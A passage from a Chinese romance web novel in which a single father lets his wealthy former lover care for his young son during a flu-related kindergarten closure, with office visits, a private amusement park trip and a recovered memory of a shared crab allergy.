蔚染也反应过来，别说，这应该还真是…… 没等蔚染做出什么反应，走在旁边的林洛宸却不解这是怎么回事，但听说嘟嘟对车头上的小金人感兴趣，他当即说：“既然嘟嘟喜欢，那林爸爸就把这辆这小金人送给嘟嘟。” 蔚染：“……”—— 作者有话说：林五：挤掉老五，成为老五，值得庆祝。 蔚染：……想爆粗口是怎么回事？ 第27章 十一假期还没过去, 让蔚染头痛的事就出现了——幼儿园通知家长，近期甲流问题严重，园区决定暂时休假。 近期S市的确又被甲流袭击了, 小朋友本身免疫力就弱，这下蔚染也不敢再带嘟嘟去剧组。 那么怎么安排嘟嘟就又成了一个问题。 这个时候，恰好蔚染的养母白女士打电话过来：“我这几天就要回国了……替你二哥看几天孩子，你也知道你二哥不靠谱, 妈妈实在不放心……不如你把嘟嘟也送过来……” 电话的另一头, 蔚染下意识握紧手机，没出声。 白女士紧接着又说：“唉不送过来也行, 你二哥那脾气我知道你也不会放心……阿染，要不抽空妈妈去你那里看看, 帮你忙活忙活……” “不用、不用了……”蔚染忙说。 如果单纯是白女士来家里暂住, 蔚染当然欢迎。 但养母的语气很明显是对于帮二哥看孩子、而不能帮他看嘟嘟的愧疚, 这样的话蔚染就不能再麻烦对方过来。 知道对方也不是真正能来, 蔚染干脆进行下个话题：“您几号的飞机, 我提前过去接您吧, 送你去二哥家。” “那倒不用，知道你忙。”白女士忙说。 “……w市也不远，有空来家里吃饭，我给你做你最喜欢的清蒸鳜鱼。” “……好。” 喉咙一滚，蔚染应了一声。 这会儿他碰巧在家，嘟嘟听见了他们的讲话，就跑过来，仰着大头看着蔚染，那意思是嘟宝要跟奶奶说话。 蔚染便把手机递给了嘟嘟。 白女士育有两子，大儿子曹涉比蔚染大两岁, 从小就是父母长辈眼中成熟可靠的大哥形象，现在还在加拿大工作，是跨国公司的高管，单身。 二儿子曹辉则从小就不靠谱，不仅不好好上学，打架斗殴的事儿也没少干，长大后更是在国外得罪了人，父母不得不把送回国内，在祖父家生活。 结果去年，曹辉竟然搞大了别人的肚子。 曹家怎么也算是高知正经家庭，知道这事后曹父勒令曹辉必须对人家姑娘负责，白女士也急匆匆地准备了婚礼，两家这就结了婚。 现在孩子出生了，可顽劣成性的曹辉也没半点要收心的意思，家里被闹得鸡飞狗跳，白女士这是不得已，只能回国主持局面……蔚染虽然早早搬出了曹家，但每逢节假日还是会打电话过去问候养父养母，这些事他都知道。 可知道是知道，蔚染虽然身在国内，却也管不了，他跟曹辉从小就不对付—— 以前曹辉总是惹白女士生气，小时候蔚染就没少跟对方打架，曹辉也很不喜欢蔚染。即便是现在，没大事蔚染跟曹家兄弟也基本不会联系。 这个时候蔚染要是掺和进对方的家事，只会更乱。 其实白女士很喜欢嘟嘟。 至少蔚染把嘟嘟送出国的那半年，嘟宝没受过一丝委屈，还挺快乐的。 嘟嘟也很喜欢白女士，无论与曹家兄弟关系如何，蔚染对养父母始终是尊敬和爱戴的，他也心疼养母五六十岁还要来回奔波。 等嘟嘟咿咿呀呀地跟奶奶聊了半天以后，蔚染重新接过电话，承诺：“有什么事您就叫我，W市离得很近，我随时就到。” “也没什么事。”白女士的语气很和蔼慈祥，她最后说：“阿染你也是，要照顾好自己和嘟嘟啊。” “……嗯。”又与养母说了一会儿话，蔚染才挂断电话，也没提嘟嘟幼儿园放假的事。 白女士就算再喜欢嘟嘟，也肯定是要先紧着亲生儿子那边。 蔚染心疼养母归心疼，但他九岁时就去了曹家，在那里待了快八年，对于这个道理已经体会得不能再深刻。 当然蔚染也一直知道自己只是养子。他也不挑这个。只是接下来的一段假期嘟嘟该怎么过，倒仍旧让蔚染犯了难—— 王奶奶平时的工作只是照顾嘟嘟的饮食、接送嘟嘟上下学和晚上陪伴嘟嘟、哄嘟嘟睡觉或是等蔚染回来。 只做这些、与天天陪小孩子玩，需要付出的精力是完全不一样的。 即便蔚染给王阿姨加薪、工资翻倍，王淑琴自觉也兼顾不了这么多。 更尤其是她这段时间家里也有事，白天要回家照顾脑血栓的老伴——本来嘟嘟不放假的话，白天的时间段她是自由的。 那白天谁来看嘟嘟就成了最大的问题。 临时雇个陌生人来单独陪伴嘟嘟，蔚染不放心，他最终想到的方案就是雇一个专业人士白天过来陪嘟嘟，再请司机加班，帮忙一起看着嘟嘟。 这样一来费用虽然会翻两倍，但至少蔚染可以图个安心。 招聘启示很快挂到了网上。蔚染也有请专业的育儿机构帮忙挑选人选，机构那边动作很快，直接约了今天上午过来面试。 但比这些都先到的，是他家门铃被按响的声音。 蔚染隔着安全门看着外面的林洛宸，下意识攥紧衣袖，“……怎么是你？” “还能有谁？”林洛宸不着痕迹地歪了歪头，相当敏锐地问。 “……” 林洛宸：“不放我进去？” “……林爸爸！” 代替蔚染回答的是嘟嘟哒哒哒跑来的小脚步声。 蔚染：“……” 难得今天蔚染休了个上午，嘟嘟很兴奋，一直跟在爸爸身后充当小尾巴。 嘟嘟的造型也的确像条小尾巴，宝宝又穿上了那件充绒的小恐龙衣服，后面的尾巴拖得老长，跑起来晃晃悠悠的，真像一只还没有长成的小恐龙幼崽。 林洛宸安静地站在门外，隔着防盗门看着穿居家装的蔚染、还有他背后的小恐龙嘟嘟。 想冲进门的心思忽然按捺不住。 …… 蔚染还是秉承待客之道，把人放了进来，但林洛宸并没有死皮白赖向里面走，他进门便说起自己的目的：“嘟嘟幼儿园放假，这几天不如让他跟着我。” “什……” 蔚染震惊了，既惊讶于对方话中的内容又惊讶于对方的直接，所以他半天才问：“……你怎么知道嘟嘟幼儿园放假？” 林洛宸把目光落到蔚染身上：“我堂哥家的孩子，也要去嘟嘟那所幼儿园。” “……啊？”蔚染完全没反应过来，嘟嘟去的虽是挺好的私立幼儿园了，但显然也招不来林家这个级别的孩子…… 林洛宸说：“林杨瀚海希望我帮他找个幼儿园来读，我觉得嘟嘟的学校就不错。” 林洛宸的堂哥并不是林家嫡系一脉，在林洛宸爷爷那里一直不受重视抬不起头，没办法就早早地投靠了林洛宸。 林洛宸不喜欢拉帮结派，也从不设立是敌是友的概念。他判断什么人有没有资格待在自己身边的标准： 一是对方听不听话，二是对方有没有价值。 林杨瀚海的父亲至少满足第一点，不吵闹不闹事，林洛宸才从没有排斥过这个堂哥。 而将对方安排进嘟嘟幼儿园的原因…… “听说我回国了，他们一家也要回国。那天他让我帮他儿子找个幼儿园，我以为这是接近你的机会，所以就决定把林杨瀚海安排进嘟嘟的幼儿园。” 蔚染：“……” 蔚染下意识后退了一步，他没想到林洛宸会这么直白地就说了原因……不，重点是原因竟然是这个？？？ 不会觉得太草率了吗？！ 林洛宸却有话直说道：“当然事已至此，如果你担心姓林的小孩进入幼儿园会影响嘟嘟的话，我再给他换个地方就是。” ……既然都能登蔚染的门了，那么也不用借由小侄子接近嘟嘟了。 林洛宸的意思很直白。 蔚染：…… 是真的很草率啊！ 他已经彻底被林洛宸的直白给干懵了。 林洛宸单手很随意地插在裤袋里，环视着蔚染这间干净整洁的公寓，瞬间又确定自己闻到了那种阳光的味道。 心田仿佛都被种暖意流过，他下意识向前一步，对蔚染说：“你和嘟嘟是最重要的。” “……”蔚染垂下了头。 其实年轻时候的林洛宸也是这样的，从来不吝惜直面表达喜欢的情绪。 虽然林洛宸在外人面前从不这样。 用林洛宸的话说：“蔚染是他的缪斯。” “蔚染在他那里，总是不一样的。” 而这对于几岁时就成了孤儿、十八岁又被迫离开养父母一家、被迫远赴其他国度上学的蔚染来说，林洛宸这样的偏爱也是独一份儿的。 所以那个时候……明知那样是不对的。 蔚染还是同意了林洛宸每个周末都过去找他。 …… 面对林洛宸的靠近，蔚染又下意识后退了一步。 林洛宸并不意外，大概是早就有了心理准备，他只是又回归正题道：“这几天嘟嘟跟林爸爸玩好不好？” 他转移了目标，问的是小尾巴嘟嘟。 蔚染：“……” 穿着小恐龙衣服的蔚嘟嘟比在外面看起来更圆润，林洛宸就蹲下，将圆圆的宝宝圈进怀里，让嘟嘟靠在他的膝盖上，然后变戏法儿似的给嘟嘟变出了一辆带着小金人的小汽车模型。 …… 汽车模型正是嘟嘟这么大的小朋友喜欢的东西，基本所有玩具店都会有。 但林洛宸这个却是买车送的限定款，材质与他那辆幻影一模一样，版型就完全是缩小版，精致又有质感。 嘟嘟很喜欢地张大了小嘴：“O！” 蔚染：“……” 上次林洛宸说要把带小金人的汽车送给嘟嘟，嘟嘟答应了，但他可不能答应。 幸好这姓林的，也没有癫到真把一辆千万级的豪车过到一个四岁宝宝的身上……但与差点真收到辆真车的惊吓相比，这个模型也不是不能接受了。 蔚染在旁边张了张嘴，最终也没再阻止嘟嘟收下这个礼物。 餐桌边，蔚染给林洛宸倒了杯茶。 王阿姨去办事了，家里只有蔚染和嘟嘟，考虑到马上就会有一名育儿老师前来面试，蔚染便说：“照看嘟嘟的人我已经找好了，不劳烦你。” 林洛宸：“你放心让完全陌生的人来照顾嘟嘟？” 蔚染想说自己已经找了两个人同时看着，但又觉得没必要解释，就只说：“过几天我杀青了就有时间了，只是再挺两天……” 林洛宸却很快地说：“正好这两天我带嘟嘟去游乐园。” “……” 一听见说去幼儿园，原本沉浸式摆弄小汽车的嘟嘟便猛地抬起头来，眼睛biu地亮了，变成了一只为了游乐园而探头探脑、满脑门都写着“想去”的小恐龙。 林洛宸要的就是这样的效果。 他不禁满意地勾起唇角：“嘟嘟想去哪种主题的游乐园？林爸爸这就叫私人飞机设置航线，我们明天就出发。” 蔚染：“…………”—— 作者有话说：十月快乐，国庆快乐，随机一些小红包[奶茶] 第28章 “什么, 你真同意他带嘟嘟了？”电话那边，季养运语带震惊。 蔚染这会儿已经回到剧组，正坐在化妆台前等着造型师来给他摆弄造型。 化妆镜散射着强烈的金色光芒, 将蔚染一张俊脸衬得更加精致，细长睫毛根根分明带着浅金色的绒光，他对着就立在镜子前的手机点了点头。 想起这不是在打视频，就又对着耳机说：“……嗯。” 季养运：“……” 估计就算俩人这会儿在视频, 蔚染也只是冲着自己点点头, 然后不置可否。 “算了，你有自己的考量。” 就算也是嘟嘟干爹, 季养运也不能真掺和蔚染带崽儿的决定。……而且他已经听说了，姓林的待嘟嘟一直不错, 嘟嘟也很喜欢这个林爸爸…… 退一万步说, 林洛宸如果想伤害嘟嘟, 也不需要费这么多麻烦力气。 季养运的重点是：“所以, 姓林的真在重新追你。” 蔚染：“……” 季养运：“……他还真是……他不是不知道嘟嘟是他的……那他这算啥？纯爱战神吗？” “…………” 季养运自己也被这个形容雷了一下, 电话两边的人都猛地摇了摇头。 “那关键是, 你是怎么想的？”季养运又问。 这次蔚染沉默了，根本答不出来。 隔天，十一小长假结束的第一天，嘟嘟就被接到了林爸爸的办公室，坐的就是那辆小金人。 佩戴了儿童座椅版。 第一天换人带娃，王淑琴不放心嘟嘟一个崽崽，还是把家里的事推了一天，跟了过来。 等到了林氏大楼楼下，看着商业写字楼气派的大门和内部装潢，才终于有一点点相信蔚染没被这位林先生骗。 “嘟嘟中午想吃什么？” 总裁专用电梯, 可以直接看到外部。 林洛宸的办公室在37楼，很高，一开始他还担心坐这个电梯嘟嘟会怕。 但嘟嘟说自己有坐过这种电梯，不会怕，林洛宸才带人上来，嘟嘟果然接受良好。 只比他膝盖高一点的人类幼崽两只小手都扒在特殊材质的电梯墙壁上，嘟嘟正好奇向外张望。 听见叔叔的问话，嘟嘟也只“唔”了一声表示：“宝宝吃什么都可以哒。” 因为宝宝还不饿，今天早上出门前嘟嘟有吃了好些东西，这会儿根本想不到该继续吃什么。 林洛宸便懂了。那就他来安排。 电梯很快上到37楼。 总裁办的白秘书听见声音，立即拿着文件小跑过来：“林总，这是建工那边……” 电梯门大开，白秘书瞬间跟个皮肤白白、眼睛又大又圆的人类幼崽对视上了一眼。 原本以蔚嘟嘟的海拔，是很难让人第一眼就注意到的。 尤其白秘书每天早上都会例行公事地等在电梯口，把最着急的文件第一时间拿给林总看。 她都习惯仰头去看林总了，根本不会低头。 但为什么还是第一眼看见了电梯里这萌哒哒的可爱幼崽呢？因为这小朋友此刻就坐在她们林总的臂弯上，还特别顺手地抱着李总的脖子。 ……？？？ 白秘书：“呀！” 饶是这段时间已经见过一些林氏内部的“资本变革”，也算是见过大风大浪了，可她看见的也都是林总杀伐果断、有时候还挺疯狂的一面啊！ 现在就忽然……一个萌娃乖乖地跟林总脸贴着脸…… “姐姐好。”萌娃见了她，还主动挥舞小手臂跟她打了个招呼，声音脆脆的。 白秘书忙说：“……小朋友好。” 林洛宸抱着嘟嘟走出电梯。 嘟嘟是个自立、运动细胞又发达的崽，且精力旺盛，林洛宸早发现了，蔚染不怎么抱嘟嘟，嘟嘟也从不主动吵着大人抱他。一般就小尾巴似的跟着蔚染或被大人牵着走，跟他所了解的小孩子都不一样。 但嘟嘟是不要求大人抱，架不住林爸爸想抱。 一想到这是蔚染的孩子，自己应该更待他好，林洛宸就张开手臂问嘟嘟要不要抱。 嘟嘟极少会拒绝要抱抱的大人，于是大大方方地也张开小手臂，然后吧唧一下贴进了林爸爸的怀里。 林爸爸很自然地把他双脚离地拔起。 于是就被漂亮姐姐看到他跟林爸爸脸贴着脸的情况。 走出电梯，林洛宸大踏步往自己办公室的方向走去，顺便问白秘书：“你刚刚说建工那边怎么了？” “哦哦哦……”白秘书也连忙跟上，倒也不急着把文件递给总裁了，毕竟稍微有点眼力见的都能看出来，这会儿林总也没手接。 她是一路跟回了林总办公室，边走还忍不住边琢磨：“林总，这个小朋友是……” “我儿子。” 白秘书：“……？？？” 总感觉这小朋友有点眼熟，外加上过于震惊，白秘书就直接把这个问题问出来了。 毕竟总裁等会儿还要开会，她知道这小朋友的身份，才好知道该怎么安置这个小宝宝，也算是替总裁分忧。 但她没想到，林总张口就是个炸雷！ ……总、总裁的儿子，那该怎么安置？ 少爷把小少爷抱来公司，是什么意思？要他参观公司继承家业？？？还是学习企业管理后再继承家业？…… 霸总的心思总是很难猜。 不不不，关键是林总才多大，也没听说结婚啊，怎么就有个这么大的儿子了！ 之前完全没听说啊！ 白秘书被吓了一跳又一跳，林洛宸这次倒挺体贴地说：“嘟嘟幼儿园放假没地方呆，这两天跟我。” “好、好的……”白秘书下意识应着，已经不怀疑这位嘟嘟小朋友跟林总的关系了……林总这语气，就完完全全是个带娃奶爸、在应对自家崽儿不能上学时的情况啊！ 不过白秘书还是太紧张了，也因为她自己还单身的缘故，所以她并没有听出林洛宸理直气壮说这番话时，话语间夹杂的那一点点自豪又志得意满的味儿—— 嘟嘟放假没人看，蔚染就把宝宝交给了我。 在蔚染心中他已经是什么档次，不必多说。 回到办公室后林洛宸就先把嘟嘟放下，而后把白秘书递过来的文件处理完签了字。 期间嘟嘟都仰着大脑袋打量着林爸爸的办公室，并没有乱跑，幼崽甚至一直站在原地，配合小背带裤造型简直乖得不行。 白秘书都忍不住看个不停。 然后越看越觉得不对—— 奇怪，这不是前段时间她朋友圈刷到的，咖啡店老板家的孩子吗？…… 因为后来林总经常请全公司的人喝那家店的咖啡，而小朋友之后也去过两次，渐渐地，她的同事们都关注到这位小朋友了。 也因为这位嘟嘟小朋友太可爱，长相太有辨识度，所以白秘书这会儿已经想起来了！ 但是但是…… 作为总裁秘书，最关键的一点就是要心细。 白秘书想起第一次见到这位嘟嘟小朋友时，林总的反应——那会儿怎么看都不像是觉得嘟嘟是他儿子啊？……林总甚至还问过她，嘟嘟是不是她的宝宝…… 哪个孩子爹，会问一个完全不相干的人这种问题？ 但是现在，林总待嘟嘟小朋友，实在称得上热切。 ——见嘟嘟站在原地没动，林洛宸就抬手招过嘟嘟，还在审阅文件的百忙之中握了握小朋友的小手，跟嘟嘟说：“嘟嘟稍微等一下，等一会儿林爸爸处理完几份文件就带嘟嘟去游乐园。” 语气极致温柔。 白秘书：“……” 还有林总竟然亲自带娃去游乐园？？？ 所以结合种种情况和林总的反应，一个几乎成形的荒唐猜测忽然在白秘书脑中浮现。 ……这，这嘟嘟小朋友，该不会是林总失散多年的孩子吧？ 之前走丢了，那天又去咖啡馆找回来了，才这么的像个宝贝一样……如若不然，林总应该是不喜欢小孩子的。 先前林总的侄子过来，都不见林总如何热切。 ……！！！ 那这样的话，走丢过的嘟嘟小朋友岂不是很可怜？！！ 白秘书再度与就站在总裁桌边的小朋友对上视线。 嘟嘟的眼睛又大又圆，充满懵懂真挚的打量，别说，除了神色不一样，猛地一看，这位嘟嘟小朋友长得还真像林总！ 林洛宸签完手上的文件，一抬头就看见秘书在跟嘟嘟对着互相看，还把嘟嘟给逗乐了。 面对姐姐的挤眉弄眼，嘟嘟便有些小害羞地在小肚皮前搓手手，但的确露出了小芝麻牙笑得可开心。 于是林洛宸的心情也不错，连自己秘书没发现自己已经签好文件、她此刻应该拿着东西离开都觉得无所谓。 “嘟嘟可爱吗？”林洛宸忽然问。 平日里听习惯了的冷肃声线骤然响起，白秘书被吓得忙回神，已经形成条件反射地回答：“可爱！” “……超级可爱，长得跟您真像。”白秘书真心实意地说。 林洛宸抬了抬眉，知道秘书是在恭维他。 但奈何他听得顺耳。 “嗯。” 忙完后，林洛宸就果真如约定的那样，带嘟嘟去了游乐园。 最近流感严重，林洛宸自然不敢带嘟嘟去人多密集的地方，也更不可能背着蔚染、坐飞机带嘟嘟离开S市。 这座游乐园就是他即将出手卖掉的那座，今日对外闭园。 也就是说，这一整座游乐园都只有嘟嘟一个小朋友可以玩。 都不用有直通票，嘟嘟想玩什么都不用排队。 拍照更是随意，不用考虑排队问题也不用担心会打扰别人。 嘟嘟来游乐园的次数有限，并没有觉察出差异。 但林洛宸却担心这里过分冷清，会给嘟嘟造成什么奇怪的印象，就提前跟蔚染提议，嘟嘟也可以邀请其他小朋友一起来。 于是等他们抵达游乐园的时候，路诸已经等在了大门口。 “哥哥！”嘟嘟远远地看见了路诸，一下车就哒哒哒地跑过去。 唔，不是嘟宝只邀请了路诸哥哥一个人来玩，他也邀请了其他小朋友的，可是其他小朋友要么是生病了，要么就是像小豪那样、他妈妈不许他出来，所以最后就只有路诸哥哥一个人陪崽来游乐园。 路诸看着远远地奔来的白色雪团子，下意识躬下了身接住嘟嘟，担心他摔了。 “路诸哥哥，你自己来的吗？”嘟嘟眨着大眼睛问。 路诸看了眼跟在嘟嘟后面的林洛宸和其他人，并不意外蔚嘟嘟被这样众星捧月，认真答道：“我妈捎我过来的，她去上班了。谢谢叔叔。” 后面这句话是他对林洛宸说的。 无论如何同学邀请他来游乐园，都要道谢。更何况这是嘟嘟的家长。 林洛宸对路诸点了点头。 嘟嘟已经牵住了路诸的手，声音软糯糯：“哥哥你，怎么不去那边坐着等嘟嘟哇！” 被嘟嘟不同于自己的过分柔软的小手包裹住掌心，路诸微微有些发愣。 一个小长假没见，他其实是有点想念蔚嘟嘟的……大概分别两天后，就开始担心如果好几天没见的话，嘟嘟会不会直接就忘了自己。 所以在这边等的时候他是有些忐忑的，哪里还有心情找地方坐。 路诸年纪小，但早就知道了人心易变。他不确定七天没见蔚嘟嘟是否待他还如从前一样。 结果一个小长假没见，嘟嘟见到自己的反应简直跟分别时没有任何变化，就像是昨天他们还一起在幼儿园玩耍似的……对于蔚嘟嘟这种天然的温和感和自来熟，路诸惊诧也羡慕。 他反过来包住蔚嘟嘟的手，“我也刚到，在等你。” “哦呦。” 嘟嘟对路诸一个崽崽等在游乐园外面的事没概念，路诸这么说他就信了，当即眨着大眼睛说：“那哥哥，我们进去叭！” 跟在后面的王奶奶却觉得不对……路诸妈妈是阿染亲自联系的，听说嘟嘟要邀请路诸同学出来玩，路妈妈很兴奋也很激动，表示路诸绝对没有被病毒感染，也很期待跟嘟嘟的见面。 所以当蔚染问起路诸要不要他这边过去接、路妈妈礼貌拒绝后，他们就没有多想，以为至少会有人陪路诸来。 或者，至少也要等看见嘟嘟了，对面的大人再离开。 否则这小朋友……长得再高也才六岁，被拍花拍走了怎么办？ ……他们国外回来的孩子，养法还真是糙。 王淑琴不赞同地摇了摇头，想想都有点而后怕。 不过嘟嘟经常咿咿呀呀地给讲幼儿园里的事，王奶奶又依稀想起好像路诸同学家里情况特殊…… 唉，都不容易。 也都是好孩子. 尽管没什么人流和阻碍，但整座游乐园要逛下来也至少需要一天的时间，更尤其是他们走走停停，不是吃爆米花就是吃冰淇淋，而林洛宸还要给嘟嘟和路诸小朋友拍照。 于是等返程把嘟嘟送回家的时候，都已经快晚上八点了。 蔚染今天收工算早的，刚刚到家不久。 他听见动静打开家门的时候，就看见嘟嘟趴在林洛宸一侧的肩膀上，被人托着屁屁，已经小动物崽儿似的睡着了。 “刚回来路上睡了，我没叫醒他。”林洛宸用极轻的声音说。 蔚染点了点头，也不忍心吵醒宝宝，他想去接嘟嘟，但林洛宸却示意让蔚染开路，他可以直接把嘟嘟送到小床上。 蔚染稍微停顿了一秒就没再犹豫，干脆让开道路，指了指走廊尽头的房间。 林洛宸踢掉鞋子，抱着嘟嘟向里面走。 这是他第一次深入蔚染现在的家。上一次跟蔚染说好他来带嘟嘟两天后，担心蔚染会后悔，他很快离开了。 这也是他第一次正式打量蔚染的家。 三居室的格局，很简单的风格，没有多余的装饰。 但嘟嘟的房间却被布置得很温馨，既有小床也有大床，桌椅板凳都一应根据嘟嘟的身形选择最适配的型号，材质也都是儿童适用的非坚硬材质，房间的柜子里还摆满了玩具。 而与之相比，刚刚经过的看上去应该是蔚染房间的卧房，则真的简单单一了很多。一眼瞄过去，只有一张床的样子。 …… 林洛宸心里忽然又有些不是滋味。 他喜欢嘟嘟，可以完全不在乎嘟嘟的身世，但这与他心疼蔚染、心疼蔚染自己都还没到彻底长大的年纪，就把什么好的都留给了另一个崽崽，并不冲突…… 所以这么多年，自己都在干嘛？！ 林家…… 尽量轻手轻脚地把嘟嘟放在床上，林洛宸一回身，就看见蔚染正站在旁边看着他……他们。 蔚染先是在看自己，随后视线下移落到熟睡的嘟嘟身上。 睡着了、被平整放在床上的崽崽顶着鼓鼓的小奶膘闭着眼睛，睫毛又翘又长。 仔细观察的话，连小肚子都一鼓一鼓的，嘟嘟是真的累了，睡得很香。 “……下午有安排他睡觉。”担心蔚染会多想，林洛宸如实报备今天的行程。 尽管这些嘟嘟的王奶奶应该都有跟蔚染报备。 王阿姨的确都跟蔚染说了，蔚染点了点头，说：“辛苦你了。” 无论如何带小孩子玩都是很累的事，更何况林洛宸今天还带了两个…… 蔚染这一整天心里也是七上八下的，担心嘟嘟会不习惯，担心嘟嘟会没有被照顾好，也担心林洛宸会失了耐心，对嘟嘟不好。 “没事。” 但蔚染担心的事统统都没有发生，林洛宸看上去状态特别好地说：“明天早上我再来接嘟嘟。” 蔚染：“……要不还是等嘟嘟明天醒来再……” “嘟嘟今天已经跟我说好，明天还跟我去公司。”林洛宸直接打断他说。 “……” 林洛宸补充：“路诸也会来，他们两崽之间也说好了的。” “……啊？” 蔚染不意外嘟嘟明天也邀请路诸一起玩，他太了解自家崽了，嘟嘟就是个喜欢黏人又热情的宝宝。 但这不耽误蔚染觉得明天还让林洛宸带俩娃有点太麻烦人家。蔚染思维跳跃：“……路诸小同学也挺不容易的。” 林洛宸奇怪地看了蔚染一眼。 以前他都不知道蔚染这么喜欢小孩儿，把一切都给嘟嘟了，现在还要心疼别人家的孩子…… 慢吞吞的绵羊音又响起：“辛苦你，明天又要带两个……” 林洛宸：“……一点都不辛苦。” 原来蔚染提人家孩子不容易是担心自己不乐意，林洛宸当即嘴快地表态：“只要跟嘟嘟有关的，可以都给我送来。” 蔚染：“……” “我就愿意带孩子。”林洛宸面无表情地叙述。 即使他们都知道他这是故意这么说，就是为了哄蔚染的。 蔚染：“……” 蔚染忽然就不知道该说什么了，还有点想笑。 于是他当真失笑地摇了摇头，“路诸的妈妈跟我说了，路诸跟他养父似乎是有些矛盾，她本身又不能不去工作……放假期间，路诸一个宝宝待在家里，正好也不方便。” 今天蔚染询问路妈妈是否会去接路诸的时候，顺便提了路诸一个人等在游乐场门口的事。 他知道对方一定有苦衷，但为了孩子的安全考虑也不能不提醒，这种事情蔚染也很为难。 然后路诸妈妈就又在电话里泣不成声了。 蔚染除了没给嘟嘟找后妈或后爹，境遇与路妈妈差不多，便听得一整个心如刀割。所以如果可以顺便带一下路诸的话…… “嗯，我知道了。”林洛宸应了声，并没有多打听其他小孩的家事和隐私，只是说： “所以不能随便给孩子找后爸。” 蔚染便说：“路诸妈妈肯定也有苦衷。” 林洛宸：“我是在说你……说嘟嘟。我的意思是嘟嘟要找，也应该找一个像我这样的后爸。” 蔚染：……？？？—— 作者有话说：林五：心上人是根木头[化了][化了][化了] 第29章 林洛宸离开后不久, 蔚染手机就收到了一连串照片，是嘟嘟和路诸在游乐园时的各种照片，有摆拍也有抓拍。 都是林洛宸亲手拍的。 当年林家嫡长孙不爱做生意、唯爱摄影, 还是野外摄影，甚至不惜退学也要去非洲拍大象的事，想必至今上流圈也有人记得。 尽管林大少现在不拍大象和非洲豹了，可人家摄影技术和艺术细胞也还在, 拍的每张照片都挺好看。 就这, 林洛宸还在聊天框上附带了一句：【你先看着，回头我精修一下, 再打印出来给你。】 蔚染想回复不用那么麻烦了，他可以找人精修和打印。 但想来自己就算这么说对方也不会听, 想了又想, 蔚染悬在手机上方的手指始终都没落下去打字。 ……不知不觉, 他和林洛宸又是互加微信的关系了。 明明那时候, 两个人互删的都很决绝。 …… 但现在的情况跟那时候已经不一样……？！！ 意识到自己在想什么, 蔚染整个人都抖了一下。 不不不。 无论情况一样不一样, 他都不应该再考虑这些情情爱爱的东西了！ 那是奢侈品。不应该跟他有关。 蔚染特别果断地点掉了屏幕键盘，什么也没给对方回，只是一键转发，先把这些照片也发给路诸的妈妈看看。 嘟嘟还挺着小肚皮在床上睡得可香。 蔚染没打扰崽崽，把明天要拍的戏份又默了一遍，期间就接到了路诸妈妈表达感谢的信息。 除此之外，路妈妈对林洛宸的身份也很好奇。 显然路诸回去后，应该也跟他妈妈说了今天的行程。 【真是辛苦嘟嘟的干爹了。】路妈妈：【他那么年轻还那么会带娃，你们的关系一定很好。】 在路诸妈妈的眼中，嘟嘟的林爸爸肯花时间带娃, 除了嘟嘟也很可爱——这是个重要原因以外，最初肯定是看了蔚染的面子。 蔚染却不敢吹嘘自己，他像跟所有人解释的那样，回复对方说他跟林洛宸是上学时的同学。 第二天，林洛宸来接嘟嘟的车子又准时到了楼下，这次他们还顺道去接了路诸。 昨天太累了，嘟嘟今天都不想再去游乐园了，于是作为家长的常规带娃流程，林洛宸把两个孩子带去了公司。 林氏大楼内。 昨天已经有一些人见过嘟嘟。但大部分人还都只是从这些见过嘟嘟的同事口中听说——林总有了个儿子，是个很可爱的宝宝，昨天林总还把宝宝带到了公司。 这么炸裂的信息，当然在林氏大楼内引起了轩然大波。 一些人会好奇林总怎么会有孩子、是什么时候有孩子的；另一半的人则对这位新空降且迅速掌权的总裁的私事不大感兴趣……林总挺雷厉风行的。 又是有钱人家的少爷，估计从小玩的就花。 所以尽管现在还没到三十岁，但有个几岁的娃娃也……还算正常？ 众人只是听说林总家的宝宝可爱、超级可爱，就有点好奇那娃娃到底能有多萌，还能让他们林总连上班时也要带着。 于是今天，当林洛宸手上领着一个、旁边还跟着一个，就这样带着两个孩子步入林氏大厦时，路过的员工们的反应都非常不平静。 被林总牵在手里的小朋友生得白生生嫩乎乎的，眼睛黑亮亮，走路步子规矩，即便个子太小腿太短、走在林总身边有些吃力，但小少年仍一脸认真地迈着方步，表情温和不卑不亢。 而跟在这白白软软的幼崽旁边的另一个小朋友，个头则高出了许多。 也过分削瘦，表情还有点不符合小朋友气质的冷漠。 但他牵着白软宝宝另一只手的模样、步履沉稳的程度跟林总都有一拼。 尽管长得并不像，可对待那个小奶膘圆圆的小朋友时，又跟林总有着一样的温柔和包容…… 所以究竟哪个是林总的崽？ 还是两个全是？？？ 林洛宸一路目不斜视，专心带着嘟嘟和路诸步入电梯。 今天没有王奶奶跟着了，嘟嘟全程由他来看，林洛宸在因蔚染的信任而感到激动的同时，也不是不紧张的。 他担心他会看不好嘟嘟。 而这种担心，放在一个月前，都不可能会降临在他的世界中。 无论是失忆前还是失忆后。 …… 办公室里，林洛宸仔细研究嘟嘟的王奶奶给写的单子。 上面是一些养护幼崽的注意事项，主要是写嘟嘟爱喝水、去哪里都要给崽崽备好水杯，以及不能给嘟嘟喝饮料，也不能给吃太多零食，因为嘟嘟自己不会控制等等。 嘟嘟是个很乖的宝宝，几乎不哭不闹、也不会抢着要玩大人的手机和平板，所以这些王淑琴也都没有特别交代。 她写的就是最日常的养崽要注意的事项，在纸张的最下方，尤其标注了一些嘟嘟绝对不能吃的东西—— “河蟹？” 林洛宸看着这条禁忌，旁边的备注是嘟嘟吃了会过敏，所以蟹黄一类的也都不能吃，不由有些怔愣。 ……前段时间他过敏了查了过敏原，医生也告诉他他不能吃螃蟹。 然后记忆的一角也就浮现出了真面目，林洛宸想起自己以前的确不能吃河蟹，吃了会起疹子…… 以往在国外时，他的饮食都有专门的人来打理。 知道他不能吃河蟹，尽管其他螃蟹谨慎选择的话还是可以入口的，但有他在的餐桌上便从来没有出现过这种东西。 外加上林洛宸对吃的也从来不关注，这才没有注意，连带着这部分记忆都没有及时回拢。 甚至得知自己吃螃蟹会过敏后，他都没往心里去。 但现在…… 怎么嘟嘟吃螃蟹也过敏？ 林洛宸又想起过去的一个片段——有一次蔚染减肥减得快抑郁，林洛宸周末去看他，就带他去吃了海鲜。 毕竟少部分地摄入鱼类和蟹类不会胖，更何况他还承诺之后会陪蔚染去打球，一直打，打到能量都消耗了为止。 那天蔚染吃得很开心，就笑眯眯地捂着肚子感叹：“抑郁了一周，今天终于开心了，都是你的功劳。” 说完，还顺手给他剥了个螃蟹。 林洛宸就那么鬼使神差地吃了。 根本忘了自己会过敏。 那时候他满眼都是蔚染漂亮的侧颜，耳边全是蔚染带着低低笑意的小绵羊音。 蔚染说，是因为自己，他才开心了。 于是那时候的林洛宸也很开心。 